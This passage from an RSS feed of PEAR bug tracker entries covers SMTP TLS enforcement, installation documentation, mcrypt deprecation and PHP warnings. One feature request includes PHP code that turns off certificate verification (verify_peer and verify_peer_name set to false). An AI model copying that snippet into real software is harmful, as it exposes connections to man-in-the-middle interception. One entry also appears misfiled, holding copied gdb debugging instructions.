I've done this crudely with a few modifications to the Mail_smtp and Net_smtp classes.  But I'm sure someone who knows PEAR::Mail inside and out can do it much better.
 
Basically what I did was to add a 'require_tls' var to the Mail_smtp and Net_smtp classes.  And defaulted it to true.  Then added a test for 'require_tls' in the auth function.
 
        /* Or if TLS is required and aren't already connected over a secure
         * (SSL) socket connection. */
        if (($tls &amp;&amp; version_compare(PHP_VERSION, '5.1.0', '&gt;=')
            &amp;&amp; extension_loaded('openssl') &amp;&amp; isset($this-&gt;esmtp['STARTTLS'])
            &amp;&amp; strncasecmp($this-&gt;host, 'ssl://', 6) !== 0
           ) || $this-&gt;require_tls &amp;&amp; strncasecmp($this-&gt;host, 'ssl://', 6) !== 0
        ) {
            /* Start the TLS connection attempt. */
 
Thanks</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail Bug
Reported by noyb
2016-09-15T00:42:41+00:00
PHP: 5.6.25 OS: FreeBSD 11.0-RC2 Package Version: 1.3.0

Description:
------------
 
Please add option to specify that TLS is required so that if the server does not support STARTTLS mail client will not continue with an unsecure connection.
 
Opportunistic TLS aka STARTTLS
Weaknesses and Mitigations
https://en.wikipedia.org/wiki/Opportunistic_TLS#Weaknesses_and_mitigations
 
&quot;STRIPTLS attacks can be blocked by configuring SMTP clients to require TLS for outgoing connections (for example, the Exim Message transfer agent can require TLS via the directive &quot;hosts_require_tls&quot; [12]).&quot;
 
I've done this crudely with a few modifications to the Mail_smtp and Net_smtp classes.  But I'm sure someone who knows PEAR::Mail inside and out can do it much better.
 
Basically what I did was to add a 'require_tls' var to the Mail_smtp and Net_smtp classes.  And defaulted it to true.  Then added a test for 'require_tls' in the auth function.
 
        /* Or if TLS is required and aren't already connected over a secure
         * (SSL) socket connection. */
        if (($tls &amp;&amp; version_compare(PHP_VERSION, '5.1.0', '&gt;=')
            &amp;&amp; extension_loaded('openssl') &amp;&amp; isset($this-&gt;esmtp['STARTTLS'])
            &amp;&amp; strncasecmp($this-&gt;host, 'ssl://', 6) !== 0
           ) || $this-&gt;require_tls &amp;&amp; strncasecmp($this-&gt;host, 'ssl://', 6) !== 0
        ) {
            /* Start the TLS connection attempt. */
 
Thanks</pre>]]></description>
      <dc:date>2017-05-09T18:59:42+00:00</dc:date>
      <dc:creator>JunkYardMail1 &amp;#x61;&amp;#116; Frontier &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Mail Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21115">
      <title>Documentation: Documentation Problem 21115 [Open] Where to install to</title>
      <link>http://pear.php.net/bugs/21115</link>
      <content:encoded><![CDATA[<pre>Documentation Documentation Problem
Reported by samhobbs
2016-09-12T06:46:47+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 

Description:
------------
I am using PHP Version 7.0.7.

I apologize if it is inappropriate to submit this as a bug. I am not really asking for help, I am suggesting that perhaps the documentation of how to install Pear needs improvement.

After installing Pear, I tried to install VLD and got:

C:\Windows\system32&gt;pecl install channel://pecl.php.net/vld-0.13.0
downloading vld-0.13.0.tgz ...
Starting to download vld-0.13.0.tgz (17,547 bytes)
......done: 17,547 bytes
11 source files, building
WARNING: php_bin C:\Program Files\PHP\v7.0\php.exe appears to have a suffix .exe, but config variable php_suffix does not match
ERROR: The DSP vld.dsp does not exist.

So I am not sure, but I probably used the wrong prefix for installing Pear. I get the impression I should have used &quot;C:\Program Files\PHP\v7.0&quot; for the prefix, or something close to that. I will try to figure it out but perhaps the documentation should be revised.

Note that to install Pear I used the go-pear.phar script from the file in this web site, not from PHP.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Documentation Documentation Problem
Reported by samhobbs
2016-09-12T06:46:47+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 

Description:
------------
I am using PHP Version 7.0.7.

I apologize if it is inappropriate to submit this as a bug. I am not really asking for help, I am suggesting that perhaps the documentation of how to install Pear needs improvement.

After installing Pear, I tried to install VLD and got:

C:\Windows\system32&gt;pecl install channel://pecl.php.net/vld-0.13.0
downloading vld-0.13.0.tgz ...
Starting to download vld-0.13.0.tgz (17,547 bytes)
......done: 17,547 bytes
11 source files, building
WARNING: php_bin C:\Program Files\PHP\v7.0\php.exe appears to have a suffix .exe, but config variable php_suffix does not match
ERROR: The DSP vld.dsp does not exist.

So I am not sure, but I probably used the wrong prefix for installing Pear. I get the impression I should have used &quot;C:\Program Files\PHP\v7.0&quot; for the prefix, or something close to that. I will try to figure it out but perhaps the documentation should be revised.

Note that to install Pear I used the go-pear.phar script from the file in this web site, not from PHP.</pre>]]></description>
      <dc:date>2016-09-12T06:46:47+00:00</dc:date>
      <dc:creator>Sam &amp;#x61;&amp;#116; SamHobbs &amp;#x64;&amp;#111;&amp;#x74; org</dc:creator>
      <dc:subject>Documentation Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21114">
      <title>Documentation: Documentation Problem 21114 [Open] uninstalling</title>
      <link>http://pear.php.net/bugs/21114</link>
      <content:encoded><![CDATA[<pre>Documentation Documentation Problem
Reported by samhobbs
2016-09-12T06:27:37+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 

Description:
------------
I searched and found many guesses about how to uninstall Pear. One is probably not a guess, it says &quot;pear uninstall pear&quot;. However it is done, it should be documented with the documentation of how to install.

Also, the location of the PEAR_ENV.reg file is improperly documented. Yes, the go-pear.phar script does say where it is at, but for uninstalling Pear, I wanted to know what is in the PEAR_ENV.reg file, so it would help to update the documentation of where it is at. I can undo the registration, I just wanted to know where the file is at so I know what to do and I found that file. I am not asking for help; I just think the documentation should be updated.

As to why I want to uninstall it, I think I did it wrong so I want to redo it. That is a different story for a different report.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Documentation Documentation Problem
Reported by samhobbs
2016-09-12T06:27:37+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 

Description:
------------
I searched and found many guesses about how to uninstall Pear. One is probably not a guess, it says &quot;pear uninstall pear&quot;. However it is done, it should be documented with the documentation of how to install.

Also, the location of the PEAR_ENV.reg file is improperly documented. Yes, the go-pear.phar script does say where it is at, but for uninstalling Pear, I wanted to know what is in the PEAR_ENV.reg file, so it would help to update the documentation of where it is at. I can undo the registration, I just wanted to know where the file is at so I know what to do and I found that file. I am not asking for help; I just think the documentation should be updated.

As to why I want to uninstall it, I think I did it wrong so I want to redo it. That is a different story for a different report.</pre>]]></description>
      <dc:date>2016-09-12T06:27:37+00:00</dc:date>
      <dc:creator>Sam &amp;#x61;&amp;#116; SamHobbs &amp;#x64;&amp;#111;&amp;#x74; org</dc:creator>
      <dc:subject>Documentation Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21113">
      <title>URI_Template: Bug 21113 [Open] %Angosso!!!%</title>
      <link>http://pear.php.net/bugs/21113</link>
      <content:encoded><![CDATA[<pre>URI_Template Bug
Reported by mbiama
2016-09-09T12:44:38+00:00
PHP: 5.6.25 OS:  /proc/sys/kernel/core_pattern Package Version: 0.3.3

Description:
------------
make sure the directory is writable by PHP
Set the ulimit (see above how to do it).
Restart/rerun PHP.
After that any process crashing in my system, including PHP, will leave its 
core file in the directory you've specified in core_pattern.


Test script:
---------------
Once you have the core file:

Run gdb with the path to the PHP or PHP-enabled httpd binary, and path to the core file. Some examples:
gdb /var/www/vhosts/angosso.net/apache/sbin/httpd /var/www/vhosts/angosso.net/apache/sbin/core
gdb /home/angosso.net/dev/php-snaps/sapi/cli/php /home/angosso.net/dev/testing/core
At the gdb prompt, run:
(gdb) bt
If you can't get a core file:

Run httpd -X under gdb with something like:
gdb /var/www/vhosts/angosso.net/apache/sbin/httpd
(gdb) run -X
Then use your web browser and access your server to force the crash. You should see a gdb prompt appear and some message indicating that there was a crash. At this gdb prompt, type:
(gdb) bt
or, running from the commandline
gdb /home/angosso.net/dev/php-snaps/sapi/cli/php
(gdb) run /var/www/vhosts/angosso.net/httpdocs/script.php
(gdb) bt
This should generate a backtrace, that you should submit in the bug report, along with any other details you can give us about your setup, and offending script.

Locating which function call caused a segfault:

You can locate the function call that caused a segfault, easily, with gdb. First, you need a core file or to generate a segfault under gdb as described above.

In PHP, each function is executed by an internal function called execute() and has its own stack. Each line generated by the bt command represents a function call stack. Typically, you will see several execute() lines when you issue bt. You are interested in the last execute() stack (i.e. smallest frame number). You can move the current working stack with the up, down or frame commands. Below is an example gdb session that can be used as a guideline on how to handle your segfault.

Sample gdb session

(gdb) bt
#0  0x080ca21b in _efree (ptr=0xbfffdb9b) at zend_alloc.c:240
#1  0x080d691a in _zval_dtor (zvalue=0x8186b94) at zend_variables.c:44
#2  0x080cfab3 in _zval_ptr_dtor (zval_ptr=0xbfffdbfc) at zend_execute_API.c:274
#3  0x080f1cc4 in execute (op_array=0x816c670) at ./zend_execute.c:1605
#4  0x080f1e06 in execute (op_array=0x816c530) at ./zend_execute.c:1638
#5  0x080f1e06 in execute (op_array=0x816c278) at ./zend_execute.c:1638
#6  0x080f1e06 in execute (op_array=0x8166eec) at ./zend_execute.c:1638
#7  0x080d7b93 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at zend.c:810
#8  0x0805ea75 in php_execute_script (primary_file=0xbffff650) at main.c:1310
#9  0x0805cdb3 in main (argc=2, argv=0xbffff6fc) at cgi_main.c:753
#10 0x400c91be in __libc_start_main (main=0x805c580 
, argc=2, ubp_av=0xbffff6fc,
               init=0x805b080 &lt;_init&gt;, fini=0x80f67b4 &lt;_fini&gt;, rtld_fini=0x4000ddd0 &lt;_dl_fini&gt;,
               stack_end=0xbffff6ec) at ../sysdeps/generic/libc-start.c:129
(gdb) frame 3
#3  0x080f1cc4 in execute (op_array=0x816c670) at ./zend_execute.c:1605
(gdb) print (char *)(executor_globals.function_state_ptr-&gt;function)-&gt;common.function_name
$14 = 0x80fa6fa &quot;pg_result_error&quot;
(gdb) print (char *)executor_globals.active_op_array-&gt;function_name
$15 = 0x816cfc4 &quot;result_error&quot;
(gdb) print (char *)executor_globals.active_op_array-&gt;filename
$16 = 0x816afbc &quot;/home/var/www/vhosts/angosso.net/php/DEV/angosso.php&quot;
(gdb)</pre>]]></content:encoded>
      <description><![CDATA[<pre>URI_Template Bug
Reported by mbiama
2016-09-09T12:44:38+00:00
PHP: 5.6.25 OS:  /proc/sys/kernel/core_pattern Package Version: 0.3.3

Description:
------------
make sure the directory is writable by PHP
Set the ulimit (see above how to do it).
Restart/rerun PHP.
After that any process crashing in my system, including PHP, will leave its 
core file in the directory you've specified in core_pattern.


Test script:
---------------
Once you have the core file:

Run gdb with the path to the PHP or PHP-enabled httpd binary, and path to the core file. Some examples:
gdb /var/www/vhosts/angosso.net/apache/sbin/httpd /var/www/vhosts/angosso.net/apache/sbin/core
gdb /home/angosso.net/dev/php-snaps/sapi/cli/php /home/angosso.net/dev/testing/core
At the gdb prompt, run:
(gdb) bt
If you can't get a core file:

Run httpd -X under gdb with something like:
gdb /var/www/vhosts/angosso.net/apache/sbin/httpd
(gdb) run -X
Then use your web browser and access your server to force the crash. You should see a gdb prompt appear and some message indicating that there was a crash. At this gdb prompt, type:
(gdb) bt
or, running from the commandline
gdb /home/angosso.net/dev/php-snaps/sapi/cli/php
(gdb) run /var/www/vhosts/angosso.net/httpdocs/script.php
(gdb) bt
This should generate a backtrace, that you should submit in the bug report, along with any other details you can give us about your setup, and offending script.

Locating which function call caused a segfault:

You can locate the function call that caused a segfault, easily, with gdb. First, you need a core file or to generate a segfault under gdb as described above.

In PHP, each function is executed by an internal function called execute() and has its own stack. Each line generated by the bt command represents a function call stack. Typically, you will see several execute() lines when you issue bt. You are interested in the last execute() stack (i.e. smallest frame number). You can move the current working stack with the up, down or frame commands. Below is an example gdb session that can be used as a guideline on how to handle your segfault.

Sample gdb session

(gdb) bt
#0  0x080ca21b in _efree (ptr=0xbfffdb9b) at zend_alloc.c:240
#1  0x080d691a in _zval_dtor (zvalue=0x8186b94) at zend_variables.c:44
#2  0x080cfab3 in _zval_ptr_dtor (zval_ptr=0xbfffdbfc) at zend_execute_API.c:274
#3  0x080f1cc4 in execute (op_array=0x816c670) at ./zend_execute.c:1605
#4  0x080f1e06 in execute (op_array=0x816c530) at ./zend_execute.c:1638
#5  0x080f1e06 in execute (op_array=0x816c278) at ./zend_execute.c:1638
#6  0x080f1e06 in execute (op_array=0x8166eec) at ./zend_execute.c:1638
#7  0x080d7b93 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at zend.c:810
#8  0x0805ea75 in php_execute_script (primary_file=0xbffff650) at main.c:1310
#9  0x0805cdb3 in main (argc=2, argv=0xbffff6fc) at cgi_main.c:753
#10 0x400c91be in __libc_start_main (main=0x805c580 
, argc=2, ubp_av=0xbffff6fc,
               init=0x805b080 &lt;_init&gt;, fini=0x80f67b4 &lt;_fini&gt;, rtld_fini=0x4000ddd0 &lt;_dl_fini&gt;,
               stack_end=0xbffff6ec) at ../sysdeps/generic/libc-start.c:129
(gdb) frame 3
#3  0x080f1cc4 in execute (op_array=0x816c670) at ./zend_execute.c:1605
(gdb) print (char *)(executor_globals.function_state_ptr-&gt;function)-&gt;common.function_name
$14 = 0x80fa6fa &quot;pg_result_error&quot;
(gdb) print (char *)executor_globals.active_op_array-&gt;function_name
$15 = 0x816cfc4 &quot;result_error&quot;
(gdb) print (char *)executor_globals.active_op_array-&gt;filename
$16 = 0x816afbc &quot;/home/var/www/vhosts/angosso.net/php/DEV/angosso.php&quot;
(gdb)</pre>]]></description>
      <dc:date>2016-09-09T12:44:38+00:00</dc:date>
      <dc:creator>medjomeman &amp;#x61;&amp;#116; hotmail &amp;#x64;&amp;#111;&amp;#x74; fr</dc:creator>
      <dc:subject>URI_Template Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21112">
      <title>Crypt_CHAP: Feature/Change Request 21112 [Open] mcrypt deprecation in php 7.1</title>
      <link>http://pear.php.net/bugs/21112</link>
      <content:encoded><![CDATA[<pre>Crypt_CHAP Feature/Change Request
Reported by abgreeve
2016-09-09T03:48:26+00:00
PHP: HEAD SVN-2016-09-09 OS:  Package Version: 1.5.0

Description:
------------
The mcrypt_* function are being deprecated starting from php version 7.1 
(https://wiki.php.net/rfc/mcrypt-viking-funeral, https://github.com/php/php-src/blob/php-
7.1.0RC1/NEWS)
Currently the classes Crypt_CHAP_MSv1, Crypt_CHAP_MSv2 use mcrypt functions.

Is there a plan to upgrade these classes to not use mcrypt?</pre>]]></content:encoded>
      <description><![CDATA[<pre>Crypt_CHAP Feature/Change Request
Reported by abgreeve
2016-09-09T03:48:26+00:00
PHP: HEAD SVN-2016-09-09 OS:  Package Version: 1.5.0

Description:
------------
The mcrypt_* function are being deprecated starting from php version 7.1 
(https://wiki.php.net/rfc/mcrypt-viking-funeral, https://github.com/php/php-src/blob/php-
7.1.0RC1/NEWS)
Currently the classes Crypt_CHAP_MSv1, Crypt_CHAP_MSv2 use mcrypt functions.

Is there a plan to upgrade these classes to not use mcrypt?</pre>]]></description>
      <dc:date>2016-09-09T03:48:26+00:00</dc:date>
      <dc:creator>adrian &amp;#x61;&amp;#116; moodle &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Crypt_CHAP Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21111">
      <title>Crypt_CHAP: Feature/Change Request 21111 [Open] mcrypt deprecation in php 7.1</title>
      <link>http://pear.php.net/bugs/21111</link>
      <content:encoded><![CDATA[<pre>Crypt_CHAP Feature/Change Request
Reported by abgreeve
2016-09-09T03:46:41+00:00
PHP: HEAD SVN-2016-09-09 OS:  Package Version: 1.5.0

Description:
------------
The mcrypt_* function are being deprecated starting from php version 7.1 
(https://wiki.php.net/rfc/mcrypt-viking-funeral, https://github.com/php/php-src/blob/php-
7.1.0RC1/NEWS)
Currently the classes Crypt_CHAP_MSv1, Crypt_CHAP_MSv2 use mcrypt functions.

Is there a plan to upgrade these classes to not use mcrypt?</pre>]]></content:encoded>
      <description><![CDATA[<pre>Crypt_CHAP Feature/Change Request
Reported by abgreeve
2016-09-09T03:46:41+00:00
PHP: HEAD SVN-2016-09-09 OS:  Package Version: 1.5.0

Description:
------------
The mcrypt_* function are being deprecated starting from php version 7.1 
(https://wiki.php.net/rfc/mcrypt-viking-funeral, https://github.com/php/php-src/blob/php-
7.1.0RC1/NEWS)
Currently the classes Crypt_CHAP_MSv1, Crypt_CHAP_MSv2 use mcrypt functions.

Is there a plan to upgrade these classes to not use mcrypt?</pre>]]></description>
      <dc:date>2016-09-09T03:46:41+00:00</dc:date>
      <dc:creator>adrian &amp;#x61;&amp;#116; moodle &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Crypt_CHAP Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21100">
      <title>PEAR: Feature/Change Request 21100 [Open] Issues with 3rd party channels using self-signed certificates</title>
      <link>http://pear.php.net/bugs/21100</link>
      <content:encoded><![CDATA[<pre>PEAR Feature/Change Request
Reported by aaronp55426
2016-07-28T16:18:08+00:00
PHP: 5.6.24 OS: CentOS Linux release 7.2.1511 Package Version: 1.10.1

Description:
------------
The pear.horde.org server is using a self-signed certificate, and so it's 
causing &quot;pear upgrade-all&quot; to fail re: certificate verify failed. This is likely 
related to: http://php.net/manual/en/migration56.openssl.php.

Obviously this is not a pear problem, but as a feature request I'd like to 
be able to easily pass an argument and have pear skip verifying 
certificates. This can be done 
by using stream_socket_client(), stream_context_create(), and 
stream_context_set_option(), E.g.:

$context = stream_context_create();
stream_context_set_option($context, 'ssl', 'verify_peer', false);
stream_context_set_option($context, 'ssl', 'verify_peer_name', false);
$fp = @stream_socket_client($host, $errno, $errstr, 15, 
STREAM_CLIENT_CONNECT, $context);


Test script:
---------------
[root@www001 ~]# pear -V
PEAR Version: 1.10.1
PHP Version: 5.6.24
Zend Engine Version: 2.6.0
Running on: Linux www001 3.10.0-327.18.2.el7.x86_64 #1 SMP Thu May 12 11:03:55 UTC 2016 x86_64
[root@www001 ~]# pear -vvv upgrade-all



Expected result:
----------------
Success

Actual result:
--------------
...
Warning: fsockopen(): SSL operation failed with code 1. OpenSSL Error 
messages:
error:14090086:SSL routines:ssl3_get_server_certificate:certificate 
verify failed in PEAR/REST.php on line 432

Warning: fsockopen(): Failed to enable crypto in PEAR/REST.php on line 
432

Warning: fsockopen(): unable to connect to ssl://pear.horde.org:443 
(Unknown error) in PEAR/REST.php on line 432
Error getting channel info from pear.horde.org: Connection to 
`ssl://pear.horde.org:443' failed:
...</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Feature/Change Request
Reported by aaronp55426
2016-07-28T16:18:08+00:00
PHP: 5.6.24 OS: CentOS Linux release 7.2.1511 Package Version: 1.10.1

Description:
------------
The pear.horde.org server is using a self-signed certificate, and so it's 
causing &quot;pear upgrade-all&quot; to fail re: certificate verify failed. This is likely 
related to: http://php.net/manual/en/migration56.openssl.php.

Obviously this is not a pear problem, but as a feature request I'd like to 
be able to easily pass an argument and have pear skip verifying 
certificates. This can be done 
by using stream_socket_client(), stream_context_create(), and 
stream_context_set_option(), E.g.:

$context = stream_context_create();
stream_context_set_option($context, 'ssl', 'verify_peer', false);
stream_context_set_option($context, 'ssl', 'verify_peer_name', false);
$fp = @stream_socket_client($host, $errno, $errstr, 15, 
STREAM_CLIENT_CONNECT, $context);


Test script:
---------------
[root@www001 ~]# pear -V
PEAR Version: 1.10.1
PHP Version: 5.6.24
Zend Engine Version: 2.6.0
Running on: Linux www001 3.10.0-327.18.2.el7.x86_64 #1 SMP Thu May 12 11:03:55 UTC 2016 x86_64
[root@www001 ~]# pear -vvv upgrade-all



Expected result:
----------------
Success

Actual result:
--------------
...
Warning: fsockopen(): SSL operation failed with code 1. OpenSSL Error 
messages:
error:14090086:SSL routines:ssl3_get_server_certificate:certificate 
verify failed in PEAR/REST.php on line 432

Warning: fsockopen(): Failed to enable crypto in PEAR/REST.php on line 
432

Warning: fsockopen(): unable to connect to ssl://pear.horde.org:443 
(Unknown error) in PEAR/REST.php on line 432
Error getting channel info from pear.horde.org: Connection to 
`ssl://pear.horde.org:443' failed:
...</pre>]]></description>
      <dc:date>2016-07-28T16:18:08+00:00</dc:date>
      <dc:creator>aaronp &amp;#x61;&amp;#116; critd &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21099">
      <title>File_Passwd: Feature/Change Request 21099 [Open] [patch] bcrypt hashing for Apache</title>
      <link>http://pear.php.net/bugs/21099</link>
      <content:encoded><![CDATA[<pre>File_Passwd Feature/Change Request
Reported by maddes
2016-07-25T00:15:19+00:00
PHP: 5.6.23 OS: Debian 8 Jessie Package Version: 1.1.7

Description:
------------
File/Passwd[.php|/AuthBasic.php] does not support the recommended bcrypt hashing ($2y$nn$) for passwords in .htpasswd files.
Blowfish $2y$ for bcrypt is supported by PHP since 5.3.7 (see changelog at http://php.net/manual/en/function.crypt.php)

A patch is attached that adds this functionality.</pre>]]></content:encoded>
      <description><![CDATA[<pre>File_Passwd Feature/Change Request
Reported by maddes
2016-07-25T00:15:19+00:00
PHP: 5.6.23 OS: Debian 8 Jessie Package Version: 1.1.7

Description:
------------
File/Passwd[.php|/AuthBasic.php] does not support the recommended bcrypt hashing ($2y$nn$) for passwords in .htpasswd files.
Blowfish $2y$ for bcrypt is supported by PHP since 5.3.7 (see changelog at http://php.net/manual/en/function.crypt.php)

A patch is attached that adds this functionality.</pre>]]></description>
      <dc:date>2017-05-26T17:46:30+00:00</dc:date>
      <dc:creator>maddes+pear &amp;#x61;&amp;#116; maddes &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>File_Passwd Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21097">
      <title>HTML_QuickForm_advmultiselect: Bug 21097 [Open] PHP Warning:  Illegal string offset 'attr' or 'text'</title>
      <link>http://pear.php.net/bugs/21097</link>
      <content:encoded><![CDATA[<pre>HTML_QuickForm_advmultiselect Bug
Reported by creator
2016-07-06T08:51:27+00:00
PHP: 5.5.9-1 OS: Irrelevant Package Version: 1.5.1

Description:
------------
When $data['attr'] or $data['text'] is used in the class code it throws the 
PHP Warning:  Illegal string offset 'attr' or 'text'. This behaviour started 
after upgrading from PHP 5.2 to PHP 5.5.x.


Test script:
---------------
Any use of the class generates the warning.

Expected result:
----------------
No warning as in PHP 5.2

Actual result:
--------------
PHP Warning:  Illegal string offset 'attr' or 'text'</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_QuickForm_advmultiselect Bug
Reported by creator
2016-07-06T08:51:27+00:00
PHP: 5.5.9-1 OS: Irrelevant Package Version: 1.5.1

Description:
------------
When $data['attr'] or $data['text'] is used in the class code it throws the 
PHP Warning:  Illegal string offset 'attr' or 'text'. This behaviour started 
after upgrading from PHP 5.2 to PHP 5.5.x.


Test script:
---------------
Any use of the class generates the warning.

Expected result:
----------------
No warning as in PHP 5.2

Actual result:
--------------
PHP Warning:  Illegal string offset 'attr' or 'text'</pre>]]></description>
      <dc:date>2016-07-06T09:09:36+00:00</dc:date>
      <dc:creator>creator &amp;#x61;&amp;#116; mindcreations &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>HTML_QuickForm_advmultiselect Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21096">
      <title>Services_Yadis: Bug 21096 [Open] Fatal error when throwing exception</title>
      <link>http://pear.php.net/bugs/21096</link>
      <content:encoded><![CDATA[<pre>Services_Yadis Bug
Reported by cweiske
2016-07-01T11:56:56+00:00
PHP: 5.6.22 OS:  Package Version: 0.5.2

Description:
------------
Services_Yadis does not throw exceptions correctly:

PHP Fatal error:  Wrong parameters for Exception([string 
$exception [, long $code [, Exception $previous = NULL]]]) in 
/usr/share/php/Services/Yadis.php on line 546</pre>]]></content:encoded>
      <description><![CDATA[<pre>Services_Yadis Bug
Reported by cweiske
2016-07-01T11:56:56+00:00
PHP: 5.6.22 OS:  Package Version: 0.5.2

Description:
------------
Services_Yadis does not throw exceptions correctly:

PHP Fatal error:  Wrong parameters for Exception([string 
$exception [, long $code [, Exception $previous = NULL]]]) in 
/usr/share/php/Services/Yadis.php on line 546</pre>]]></description>
      <dc:date>2016-07-01T11:56:56+00:00</dc:date>
      <dc:creator>cweiske &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>Services_Yadis Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21095">
      <title>Services_Libravatar: Bug 21095 [Open] PHP Warnings on dns error</title>
      <link>http://pear.php.net/bugs/21095</link>
      <content:encoded><![CDATA[<pre>Services_Libravatar Bug
Reported by cweiske
2016-07-01T11:56:00+00:00
PHP: 5.6.22 OS:  Package Version: 

Description:
------------
When a DNS error occurs, a couple of PHP warnings are logged. 
This should not happen.

Actual result:
--------------
PHP Warning:  dns_get_record(): A temporary server error 
occurred. in /usr/share/php/Services/Libravatar.php on line 427
PHP Warning:  usort() expects parameter 1 to be array, boolean 
given in /usr/share/php/Services/Libravatar.php on line 436
PHP Warning:  shuffle() expects parameter 1 to be array, 
boolean given in /usr/share/php/Services/Libravatar.php on line 
445
PHP Warning:  Invalid argument supplied for foreach() in 
/usr/share/php/Services/Libravatar.php on line 471</pre>]]></content:encoded>
      <description><![CDATA[<pre>Services_Libravatar Bug
Reported by cweiske
2016-07-01T11:56:00+00:00
PHP: 5.6.22 OS:  Package Version: 

Description:
------------
When a DNS error occurs, a couple of PHP warnings are logged. 
This should not happen.

Actual result:
--------------
PHP Warning:  dns_get_record(): A temporary server error 
occurred. in /usr/share/php/Services/Libravatar.php on line 427
PHP Warning:  usort() expects parameter 1 to be array, boolean 
given in /usr/share/php/Services/Libravatar.php on line 436
PHP Warning:  shuffle() expects parameter 1 to be array, 
boolean given in /usr/share/php/Services/Libravatar.php on line 
445
PHP Warning:  Invalid argument supplied for foreach() in 
/usr/share/php/Services/Libravatar.php on line 471</pre>]]></description>
      <dc:date>2016-07-01T11:56:00+00:00</dc:date>
      <dc:creator>cweiske &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>Services_Libravatar Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21084">
      <title>Crypt_GPG: Feature/Change Request 21084 [Open] Redundant --list-keys when deleting/exporting a key</title>
      <link>http://pear.php.net/bugs/21084</link>
      <content:encoded><![CDATA[<pre>Crypt_GPG Feature/Change Request
Reported by alec
2016-06-19T07:19:39+00:00
PHP: Irrelevant OS:  Package Version: 1.4.1

Description:
------------
We call getFingerprint() when deleting/exporting a key. This is redundant if the provided key id is already know. I propose, in Crypt_GPG::getFingerprint(), to skip the search if provided argument is full key id, i.e.:

if (preg_match('/^[0-9A-F]{40}$/', preg_replace('/[ :]/', '', $keyId))) {
    return $keyId;
}</pre>]]></content:encoded>
      <description><![CDATA[<pre>Crypt_GPG Feature/Change Request
Reported by alec
2016-06-19T07:19:39+00:00
PHP: Irrelevant OS:  Package Version: 1.4.1

Description:
------------
We call getFingerprint() when deleting/exporting a key. This is redundant if the provided key id is already know. I propose, in Crypt_GPG::getFingerprint(), to skip the search if provided argument is full key id, i.e.:

if (preg_match('/^[0-9A-F]{40}$/', preg_replace('/[ :]/', '', $keyId))) {
    return $keyId;
}</pre>]]></description>
      <dc:date>2016-06-19T07:19:39+00:00</dc:date>
      <dc:creator>alec &amp;#x61;&amp;#116; alec &amp;#x64;&amp;#111;&amp;#x74; pl</dc:creator>
      <dc:subject>Crypt_GPG Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21073">
      <title>MDB2_Schema: Bug 21073 [Assigned] Cannot be installed using composer</title>
      <link>http://pear.php.net/bugs/21073</link>
      <content:encoded><![CDATA[<pre>MDB2_Schema Bug
Reported by lsolesen
2016-06-01T18:45:00+00:00
PHP: 5.6.22 OS: Ubuntu 1404 Package Version: 0.8.6

Description:
------------
It is impossible to install MDB2_Schema using composer. This is caused by 
the requirement on MDB2, which has a non-standard version number. Is it 
possible to have new releases of MDB2 which conforms to the standards 
used by composer?</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2_Schema Bug
Reported by lsolesen
2016-06-01T18:45:00+00:00
PHP: 5.6.22 OS: Ubuntu 1404 Package Version: 0.8.6

Description:
------------
It is impossible to install MDB2_Schema using composer. This is caused by 
the requirement on MDB2, which has a non-standard version number. Is it 
possible to have new releases of MDB2 which conforms to the standards 
used by composer?</pre>]]></description>
      <dc:date>2016-06-03T11:44:52+00:00</dc:date>
      <dc:creator>lars &amp;#x61;&amp;#116; legestue &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>MDB2_Schema Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21072">
      <title>Console_Table: Feature/Change Request 21072 [Open] Allow calculateTotalsFor() to parse formatted numbers</title>
      <link>http://pear.php.net/bugs/21072</link>
      <content:encoded><![CDATA[<pre>Console_Table Feature/Change Request
Reported by bmcdanel
2016-05-31T19:11:57+00:00
PHP: Irrelevant OS: irrelevant Package Version: 1.3.0

Description:
------------
When a filter is applied it will be processed before 
calculateTotalsFor() is processed.  This can be a good thing as 
numbers can be altered during 
the format stage.  If calculateTotalsFor() was processed first 
then 2+2=5 could happen for large values of 2 and a formatting 
stripping the 
fractional part (eg float to int).

A simple method that requires you to specify or use a default 
can be found at https://gist.github.com/msng/1504235
calculateTotalsFor() could take additional optional parameters 
that would specify the additional data or it could be set 
somewhere else.

Below I try to explain the challenge to unformatting a number 
without knowing what the integral separator and decimal 
